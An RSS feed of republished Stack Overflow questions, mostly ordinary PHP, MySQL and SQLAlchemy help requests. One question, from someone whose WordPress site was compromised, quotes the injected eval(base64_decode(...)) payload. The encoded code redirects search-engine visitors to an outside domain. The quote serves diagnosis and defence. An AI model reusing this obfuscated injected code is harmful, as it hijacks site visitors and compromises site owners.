<?phpxml version="1.0" encoding="utf-8"?>
<rss version="2.0" 
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
>
<channel>
<title>globberstack.com / topdog / Published Questions</title>
<link>http://www.globberstack.com</link>
<description>Linux, Apache, MySQL & PHP Community Questions & Answers </description>
<pubDate>Tue, 07 Feb 2012 08:36:07 -0500</pubDate>
<language>en</language>
<item>
<title><![CDATA[Simple join not working]]></title>
<link>http://www.globberstack.com/Questions/simple-join-not-working-1/</link>
<comments>http://www.globberstack.com/Questions/simple-join-not-working-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:36:07 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/simple-join-not-working-1/</guid>
<description><![CDATA[<br />            <p>My join doesnt appear to work, can anyone think why? I'm getting null from the database.</p><br /><br /><p>Thanks!</p><br /><br /><pre><code>$db-&gt;query("SELECT stockists.name FROM stockists INNER JOIN shops ON stockists.name = shops.type");<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1013512" rel="nofollow">user1013512</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[WordPress Website Comprimised Hack]]></title>
<link>http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/</link>
<comments>http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:35:58 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/wordpress-website-comprimised-hack-1/</guid>
<description><![CDATA[<br />            <p>A WordPress website we are running for a client has been comprimised and are trying to establish how they may have got in. It seems they have injected code into EVERY WP core file, all theme files and only a few select plugin files.</p><br /><br /><p>The code they used is:</p><br /><br /><pre><code>eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));<br /></code></pre><br /><br /><p>Has anyone seen or heard of this before? And does anyone how any clues onto how this may have happened? All WP file permissions are set to the recommended levels.</p><br /><br /><p>Thanks for your time.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/377994" rel="nofollow">Nathan Fitzgerald</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Multiple for loops - how to print data]]></title>
<link>http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/</link>
<comments>http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:33:45 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/multiple-for-loops-how-to-print-data-1/</guid>
<description><![CDATA[<br />            <p>i want to make a website something like popurls.com, but I will use static data stored in MySQL database. Btw I use php/mysql.<br><br />In each list i want to show around 10 links (just like on popurls).  In that case, if I would have 20 lists, i would need to make 20 'for' loops (for each particular list).<br><br />My question is; is there some better way to print that 20 lists instead of using 20 'for' loops in php.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/400340" rel="nofollow">phpEnthusiast</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Twitter URL Tweet Count - Private API?]]></title>
<link>http://www.globberstack.com/Questions/twitter-url-tweet-count-private-api-1/</link>
<comments>http://www.globberstack.com/Questions/twitter-url-tweet-count-private-api-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:32:41 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/twitter-url-tweet-count-private-api-1/</guid>
<description><![CDATA[<br />            <p>I am writing a script in PHP to get data from the twitter API, I want to be able to access the number of 'tweets' for a given URL, in the PHP Facebook API this is easily possible with a single 'FQL Query', however, within twitter I can only find the following :</p><br /><br /><p><a href="http://urls.api.twitter.com/1/urls/count.json?url=http://www.bbc.co.uk" rel="nofollow">http://urls.api.twitter.com/1/urls/count.json?url=http://www.bbc.co.uk</a></p><br /><br /><p>From a little bit of research it would seem this is a 'private' API and only available to the 'tweet button' and not custom scripts, is there an alternative way of achieving this which is considered OK.</p><br /><br /><p>Thanks,</p><br /><br /><p>Richard</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/997362" rel="nofollow">bagwaa</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[I need to build a FilePath in PHP...]]></title>
<link>http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/</link>
<comments>http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/</comments>
<pubDate>Tue, 07 Feb 2012 08:32:15 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/</guid>
<description><![CDATA[As you may have read, I am guilty of PHP naiviety! Can someone help me? I need to build $filename which will comprise of 2 literal values and 2 variables - viz: "./images/" ... followed by 2 variables passed into and picked up by using GET in the...<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Check existance of row and return id with sqlalchemy is slow]]></title>
<link>http://www.globberstack.com/Questions/check-existance-of-row-and-return-id-with-sqlalchemy-is-slow-1/</link>
<comments>http://www.globberstack.com/Questions/check-existance-of-row-and-return-id-with-sqlalchemy-is-slow-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:31:57 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/check-existance-of-row-and-return-id-with-sqlalchemy-is-slow-1/</guid>
<description><![CDATA[<br />            <p>All,</p><br /><br /><p>I'm reading a csv file and adding the data to a MySQL DB with sqlalchemy. One of the tables is the address table, which is only supposed to hold unique addresses. There is a relationship between these addresses and another table of "statements" which have a foreign key field of the address id.</p><br /><br /><p>So, for each row in my data file, I create a new statement obj, then get the id for the associated address. If the address <em>already exists</em>, that id is returned. Otherwise, I create a new address obj and return that id. This is done using the code below, adapted from <a href="http://stackoverflow.com/questions/2546207/does-sqlalchemy-have-an-equivalent-of-djangos-get-or-create">this SO question</a>.</p><br /><br /><pre><code>def get_or_create(self, model, rec):<br />    instance = self.session.query(model).filter_by(**dict(filter(lambda (x,y): x in model.__dict__.keys(), rec.iteritems()))).first()<br />    if instance:<br />        return instance<br />    else:<br />        instance = model(rec)<br />        return instance<br /></code></pre><br /><br /><p>I'm using GUID's for my id field, and it is part of the primary key for the address table:</p><br /><br /><pre><code>class address(Base):<br />    __tablename__ = 'address'<br />    id = id_column()<br />    name               = Column(String(75), primary_key=True)<br />    Address_Line_One   = Column(String(50), primary_key=True)<br />    Address_Line_Two   = Column(String(50), primary_key=True)<br />    Address_Line_Three = Column(String(50), primary_key=True)<br />    Address_Line_Four  = Column(String(50), primary_key=True)<br /></code></pre><br /><br /><p>The <code>id_column()</code> comes from <a href="http://blog.sadphaeton.com/2009/01/19/sqlalchemy-recipeuuid-column.html" rel="nofollow">here</a>, though it has been converted to <code>CHAR(32)</code> due to limitations elsewhere. Finally, there is the snippet here:</p><br /><br /><pre><code>currStatement   = statements(rec, id=currGUID)<br />currStatement.address = self.get_or_create(address, rec)<br /></code></pre><br /><br /><p>This all works fine except it is very slow. For ~65,000 statements inserted in one transaction, I see 1.5 hr insert time on a clean test DB. Watching the insert in realtime shows it quickly get to ~10,000 rows, then the insert speed starts falling off.</p><br /><br /><p>What can I do to speed up this insert time?</p><br /><br /><p><strong>Edit:</strong></p><br /><br /><p>After further testing, I've found that the slow insert time is partially because each object is inserted individually. So, I have ~65,000 rows, each of which becomes several sqlalchemy objects, inserted individually. With sqlalchemy 0.7, how can I bulk insert my objects?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/724357" rel="nofollow">Spencer Rathbun</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[IE 8 special character rendering issue]]></title>
<link>http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/</link>
<comments>http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:31:29 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/ie-8-special-character-rendering-issue-1/</guid>
<description><![CDATA[I am having a weird issue with IE 8 and special characters. <br /> <br />IE8 is rendering the characters off-centre. I tried to play with language packs etc in IE8 but I cannot work it out. <br /> <br />The html being rendered is fairly simple .e.g <br /> <br /><span style="cursor: pointer; ">Avslå registrering</span> <br />You will...<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Recomended table structure to update/insert/get/search unique strings of 10M rows]]></title>
<link>http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/</link>
<comments>http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:29:57 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/recomended-table-structure-to-updateinsertgetsearch-unique-strings-of-10m-rows-1/</guid>
<description><![CDATA[<br />            <p>Followings are what I need to do:</p><br /><br /><p>1- If a search term is new and unique, then add the search term </p><br /><br /><p>2- Show lastest searched 1000 search terms (I don't need to store dates of all search terms) </p><br /><br /><p>3- Show 20 similar search terms for a search term  </p><br /><br /><p>4- If an old search term seaches again, then update view count of the search term</p><br /><br /><p>I have over 10 different structure on my mind to try but I am tired of failed attempts and I need a professional view.</p><br /><br /><p>I don't have a background with db in a professional manner, I just learn and try combinations when I need.</p><br /><br /><p><a href="http://www.ptf.com/tai/tai+ve+dot+kich/" rel="nofollow">http://www.ptf.com/tai/tai+ve+dot+kich/</a> and some other big sites uses first word of search terms for performance I believe. But I am not sure how to apply. Also, you can get an idea what I'm doing from the link.</p><br /><br /><p>Please consider a scalable structure (if possible)</p><br /><br /><p>Currently, there are 2 search performs in a second(i mean a user search something), and there are 200K search terms. I can't get enough performance with my current structure and I want to add over 1M records. So please assume there are 200 search performs in a second, and there are 10M search terms.</p><br /><br /><p>Oh and I prefer to use Mysql</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1055645" rel="nofollow">noarm</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[3-tier web app permission structure with mySQL]]></title>
<link>http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/</link>
<comments>http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:27:52 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/3-tier-web-app-permission-structure-with-mysql-1/</guid>
<description><![CDATA[<br />            <p>First and foremost, I'm so sorry about how long this question is and appreciate your time in reading it! </p><br /><br /><p>We are currently developing what I prefer to describe as a web based platform that holds a number of applications within it and have come across a permissions problem. This is an internal application for our business and isn't public, for this reason we have unique needs. </p><br /><br /><p>We cannot use a strict group based permissions system because it is too general making it too restrictive, some staff will need access to multiple applications, multiple departments (some may call them groups) within the applications and only a few functions within each department. </p><br /><br /><p>We also need to be able to display the data dynamically, as we are developing a number of applications for the platform we need to be able to register information in a database, it will then populate the appropriate checkboxes and check them if the user has access or leave them empty if the user doesn't have access to the application, department or function. </p><br /><br /><p>For these reasons we need 3-tiers for permissions that consist of </p><br /><br /><ol><br /><li>the apps the user can access</li><br /><li>the departments the user can access</li><br /><li>the specific functions the user has access to</li><br /></ol><br /><br /><p>In theory this should be very simple, I'm sure the best solution will be quite simple in fact but I think we're either overlooking something or looking too closely at something.</p><br /><br /><p><em>Before I go any further</em>, I understand that there are a number of ways to deal with this situation in it's existing structure, we have 6 running and working correctly however these are using "unusual" methods and we really do need a better solution and I believe this starts at the database design.  </p><br /><br /><p>We currently have tried a 3-table systems that has the following tables relating to permissions</p><br /><br /><p><strong>Application register:</strong> this holds a list of all applications within the platform</p><br /><br /><pre><code>    app_id (primary AI) | perm_id (int) | app_name | app_code | app_location | tab_location | access_key<br /></code></pre><br /><br /><p><strong>Application permissions register:</strong> this holds a list of every permission for every application regardless if it is an application, department or function (defined under <code>access_type</code> below)</p><br /><br /><pre><code>    permission_id (primary AI) | perm_id (int) | app_id | permission_code | permission_name | permission_description | access_type<br /></code></pre><br /><br /><p><strong>Specific user permissions:</strong> this holds the specific permissions that relate to an application, department and function</p><br /><br /><pre><code>    permission_id (primary AI) | perm_id (varchar) | app_permission_id | app_id | user_id | access_status | function_code<br /></code></pre><br /><br /><p>The problem comes in with assigning permissions as when we get down to a function level we have found that the mySQL query needs to be too specific in order to get the user access information and we cannot get the full list of functions for that department, no <code>NULL</code> values are being returned in the <code>LEFT JOIN</code> where they should - this is attributed to a particular field that has a common name in multiple tables being joined but different data in each one. We specify all the fields we want returned from each query but for some reason this 1 field keeps coming up and the wrong data is being joined. </p><br /><br /><p>So, I'm thinking of implementing the following structure:</p><br /><br /><p><strong>Application register:</strong> to hold a list of all applications with a URI and navigation system reference</p><br /><br /><pre><code>    app_id (primary AI) | app_name | app_uri | app_tab<br /></code></pre><br /><br /><p><strong>Department register:</strong> to hold a list of all departments and the relationship to an application</p><br /><br /><pre><code>    dept_id (primary AI) | app_id | dept_name<br /></code></pre><br /><br /><p><strong>Functions register:</strong> to hold a list of all functions and the relationship to a department, the department in the "department register" relates to the application</p><br /><br /><pre><code>   function_id (primary AI) | dept_id | function_name | function_description<br /></code></pre><br /><br /><p><strong>Specific user permissions:</strong> to hold a list of all functions a user can perform, this is associated to the functions register, that associates itself to the department register, that relates to the application register</p><br /><br /><pre><code>    permission_id (primary AI) | user_id (index) | function_id | permission_status (int - 0 = not allowed access | 1 = allowed access)<br /></code></pre><br /><br /><p>From here we can do a few joins in a query, for example (just to show the concept for illustration purposes only, I realize that this is not the correct query or best way to write it in production)</p><br /><br /><pre><code>    SELECT * FROM app_register <br />    JOIN dept_register ON app.register.app_id=dept_register.app_id<br />    JOIN function_register ON dept_register.dept_id=function_register.dept_id<br />    JOIN user_permissions ON app_register.app_id=user_permissions.app_id<br />    WHERE user_permissions.user_id='1'<br /></code></pre><br /><br /><p>This should give me a simplified joined permissions table that relates all of the functions, departments and applications then lists what applications the user has access to. </p><br /><br /><p>But I need input from impartial observers rather than emotionally invested database designers and his friends. </p><br /><br /><p>Is there anything that I have overlooked or looked at too hard at? </p><br /><br /><p>Is there another better structure we can try that you can think of to handle this data? </p><br /><br /><p>I really appreciate everyone's help and sorry again for the length of this question! </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/789344" rel="nofollow">Ryan</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to display image from database in CodeIgniter?]]></title>
<link>http://www.globberstack.com/Questions/how-to-display-image-from-database-in-codeigniter-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-display-image-from-database-in-codeigniter-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:27:10 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-display-image-from-database-in-codeigniter-1/</guid>
<description><![CDATA[<br />            <p>I am using CodeIgniter 2.1.0 and MySQL database. I have uploaded an image through a form and successfully stored it in a uploads directory and I have also successfully stored the full path of the image in my database. but i am having problem with showing the image by calling the full path from my database.</p><br /><br /><p>Here is my code for the upload:</p><br /><br /><pre><code>$image_path = realpath(APPPATH . '../uploads');<br /><br />$config = array(<br />    'allowed_types' =&gt; 'jpeg|png|gif|jpg', <br />    'upload_path' =&gt; $image_path, <br />    'max_size' =&gt; 2097152, <br />    'overwrite' =&gt; TRUE, <br />    'file_name' =&gt; '_' . $i . '_'<br />);<br /><br />$this -&gt; load -&gt; library('upload', $config);<br /></code></pre><br /><br /><p>When I am storing the full path of the image in my database, it looks something like this</p><br /><br /><pre><code>C:/wamp/www/my_project/uploads/_1_.jpg<br /></code></pre><br /><br /><p>If i try</p><br /><br /><pre><code>&lt;img src="&lt;?php echo $data['screenshot'];?&gt;" /&gt;<br />//($data['screenshot'] refers to the image location retrieved from database)<br /></code></pre><br /><br /><p>this in my view file, no image is displayed. What am I doing wrong? Please someone tell me. What is the standard procedure?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1156026" rel="nofollow">Shabib</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[MySQL: retrieving the newest inserted data]]></title>
<link>http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/</link>
<comments>http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:23:25 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/mysql-retrieving-the-newest-inserted-data-1/</guid>
<description><![CDATA[<br />            <p>After inserting new data into a table, I need to select some of the new data straight after, so I can use it for inserting into another table.</p><br /><br /><p>The only way I can think of doing this is using the 'datetime' field I have in my row, but how would I retrieve the latest date/time inserted.</p><br /><br /><ol><br /><li><p><code>INSERT</code> statement with <code>NOW()</code> value for <code>datetime</code></p></li><br /><li><p><code>society_select = SELECT socID, creator, datetime FROM societies.society WHERE datetime='[..datetime is the newest...]';</code></p></li><br /></ol><br /><br /><p>Hope that makes sense. Thank you</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1193072" rel="nofollow">ashx89</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[What fomian creator do you use]]></title>
<link>http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/</link>
<comments>http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:21:09 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/</guid>
<description><![CDATA[I'm new to this forum an I'm 13. I do a lot of HTML codes on notepad to create my sites design and logos. I use go daddy most of the time but I want to know what you guys use so I can have more of them to try.<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[showing rows if sub queries join columns if they exist]]></title>
<link>http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/</link>
<comments>http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:15:19 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/</guid>
<description><![CDATA[<br />            <p>I want to only return a row if either of the subquery returns a field.</p><br /><br /><pre><code>SELECT upd8r_user_accts.id, (<br /><br />SELECT fb_id<br />FROM upd8r_facebook_accts<br />WHERE user_id = upd8r_user_accts.id<br />) as facebook, (<br /><br />SELECT twitter<br />FROM upd8r_twitter_accts<br />WHERE user_id = upd8r_user_accts.id<br />) as twitter<br />FROM  `upd8r_user_accts` <br /></code></pre><br /><br /><p>also i am returning id/access token values for each of the subqueries- how could i return a boolean value of yes or no?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/451131" rel="nofollow">Chris Mccabe</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[can we use opencart or zen cart on the phonegap for an ipad app]]></title>
<link>http://www.globberstack.com/Questions/can-we-use-opencart-or-zen-cart-on-the-phonegap-for-an-ipad-app-1/</link>
<comments>http://www.globberstack.com/Questions/can-we-use-opencart-or-zen-cart-on-the-phonegap-for-an-ipad-app-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:13:42 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/can-we-use-opencart-or-zen-cart-on-the-phonegap-for-an-ipad-app-1/</guid>
<description><![CDATA[<br />            <p>Can we use opencart or zencart on the phonegap for an ipad app? <br>I want to do a native ipad app using the phonegap framework, can we use php in phonegap? How can i implement open cart template in phonegap,can any one give me some useful tutorial links.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1191990" rel="nofollow">Ravi</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[nusoap send key/value pairs to MS web service]]></title>
<link>http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/</link>
<comments>http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:13:19 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/</guid>
<description><![CDATA[<br />            <p>A web service has been written by a third party to link my PHP CMS to a MS Dynamics CRM. This is a web service that I have to use (the default SOAP and REST APIs that come with Dynamics is not something we are allowed to use). I am having difficulties working out how to pass a record of name/value pairs to one of the web service functions.</p><br /><br /><p>We are using nusoap to talk to the web service, as we have more chance of "fixing" the SOAP handling to talk nicely with the MS code, than if we were at the mercy of what SOAP handling PHP provides.</p><br /><br /><p>I don't know much about ASP, but the function in question is defined [roughly] like this:</p><br /><br /><pre><code>public class UserWebservice : System.Web.Services.WebService<br />{<br />    public DataSet UpdateContactAddress(string ContactId, List&lt;KeyValuePair&lt;string, string&gt;&gt; Address)<br />    {<br />        ...<br />    }<br />}<br /></code></pre><br /><br /><p>I can pass in the ContactId, but then have an associative array of address parts ('city'=>'My City' etc) to pass into the Address parameter. I cannot work out how to do that. If I knew what XML the web service was expecting to receive, then I could work backwards from there, but the structure is just an unknown to me.</p><br /><br /><p>The web service developer can only tell me it is "the standard" format, whatever that means.</p><br /><br /><p>In case it helps, this is how the UpdateContactAddress processes the parameter:</p><br /><br /><pre><code>Entity contact = new Entity("contact");<br />contact.Id = new Guid(ContactId);<br />foreach (KeyValuePair&lt;string, string&gt; AddressPart in Address)<br />{<br />    contact[AddressPart.Key] = AddressPart.Value;<br />}<br /></code></pre><br /><br /><p>If there is a better data type to use for the web service to accept a record of name/value pairs, then I could probably argue the case for it to be changed.</p><br /><br /><p>It would be nice to think that using a WSDL means all this "just works", but I accept it won't (PHP&lt;-%gt;MS: haha!) and am building the elements manually in parameters passed to nusoap (nesting soap_val objects and arrays as needed, which works for simple arrays of values).</p><br /><br /><hr><br /><br /><p>Edit:<br><br />Just to add to one of that latter points about changing the datatype, if something like this, assuming it is syntactically correct, will be easier to handle, then I would go along with that:</p><br /><br /><pre><code>KeyValuePair&lt;string, string&gt;[] Address<br /></code></pre><br /><br /><p>i.e. a simple numeric-keyed array of "name-value pairs", which I understand is not as simple as a key/value array element in PHP. Passing in simple arrays to the MS web service works for me, so removing the unknowns is a good move. The problem  here is no debug activity on the MS side - they get the data or they don't, and if they don't, it is my fault for not passing it right but there are no clues what "right" actually is. I'm hoping somebody here has done this and got it working, and can point me in the right direction.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/218208" rel="nofollow">Jason</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Best way of writing an expression in an if construct]]></title>
<link>http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/</link>
<comments>http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:12:34 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/best-way-of-writing-an-expression-in-an-if-construct-1/</guid>
<description><![CDATA[<br />            <p>I have a question about something that I found among PHP best practises book that I read.</p><br /><br /><p>What is the best way to do the following test?</p><br /><br /><pre><code>if("value" == $variable){}<br /></code></pre><br /><br /><p>and</p><br /><br /><pre><code>if($variable == "value"){}<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/199826" rel="nofollow">Mamadou</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Fatal error: Class 'App\PDO' not found in]]></title>
<link>http://www.globberstack.com/Questions/fatal-error-class-apppdo-not-found-in-1/</link>
<comments>http://www.globberstack.com/Questions/fatal-error-class-apppdo-not-found-in-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:10:54 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/fatal-error-class-apppdo-not-found-in-1/</guid>
<description><![CDATA[<br />            <p>I get this error when I try to use namespaces.</p><br /><br /><p>I have </p><br /><br /><p><code>namespace App;</code></p><br /><br /><p>the top, and the class looks like</p><br /><br /><pre><code>class database{<br /><br />  function __construct(..)<br />    try{<br />      $this-&gt;db = new PDO(...)   &lt;-- here the error<br />    ...<br />  }<br />}<br /></code></pre><br /><br /><p>I dont' understand how do namespaces work? Shouldn't PHP fallback to the default PDO class if app/PDO is not found?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/376947" rel="nofollow">Alex</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[PHP force instance of Closure, sort of]]></title>
<link>http://www.globberstack.com/Questions/php-force-instance-of-closure-sort-of-1/</link>
<comments>http://www.globberstack.com/Questions/php-force-instance-of-closure-sort-of-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:08:57 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/php-force-instance-of-closure-sort-of-1/</guid>
<description><![CDATA[<br />            <p>To quote PHP:</p><br /><br /><blockquote><br />  <p>Anonymous functions are currently implemented using the <strong><a href="http://ca3.php.net/manual/en/reserved.classes.php#reserved.classes.closure" rel="nofollow">Closure</a></strong> class. This is an implementation detail and should not be relied upon.</p><br /></blockquote><br /><br /><p>Now, that said, the following checks are deemed unreliable:</p><br /><br /><pre><code>function myFunction(Closure $callback){}<br /><br />if(!($callback instanceof Closure)){}<br /></code></pre><br /><br /><p>Which brings us to using <code>is_callable()</code>. This is fine, however if one <em>requires</em> a true "<strong>closure</strong>", (<em>as an argument, or what-such</em>) then <code>is_callable()</code> isn't strict enough. The following of course dumps <code>bool(true)</code> for each:</p><br /><br /><pre><code>function myFunction(){}<br /><br />class MyClass{<br />    public function __invoke(){}<br />}<br /><br />var_dump(is_callable('myFunction'));<br />var_dump(is_callable(new MyClass));<br /></code></pre><br /><br /><p>How, without relying on the <code>Closure</code> class (<em>given is <strong>is</strong> in fact unreliable</em>) can one strictly identify a "<strong>closure</strong>"?</p><br /><br /><hr><br /><br /><p><strong>Update</strong>: It has occurred to me I was falling in the direction of bad design. However, despite this question being answered, I think it would be appreciated if anyone could suggest answers to the posed question, if not purely for the academic element of it.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/409279" rel="nofollow">Bracketworks</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Dreamweaver cs5 - Forms]]></title>
<link>http://www.globberstack.com/Questions/dreamweaver-cs5-forms-1/</link>
<comments>http://www.globberstack.com/Questions/dreamweaver-cs5-forms-1/</comments>
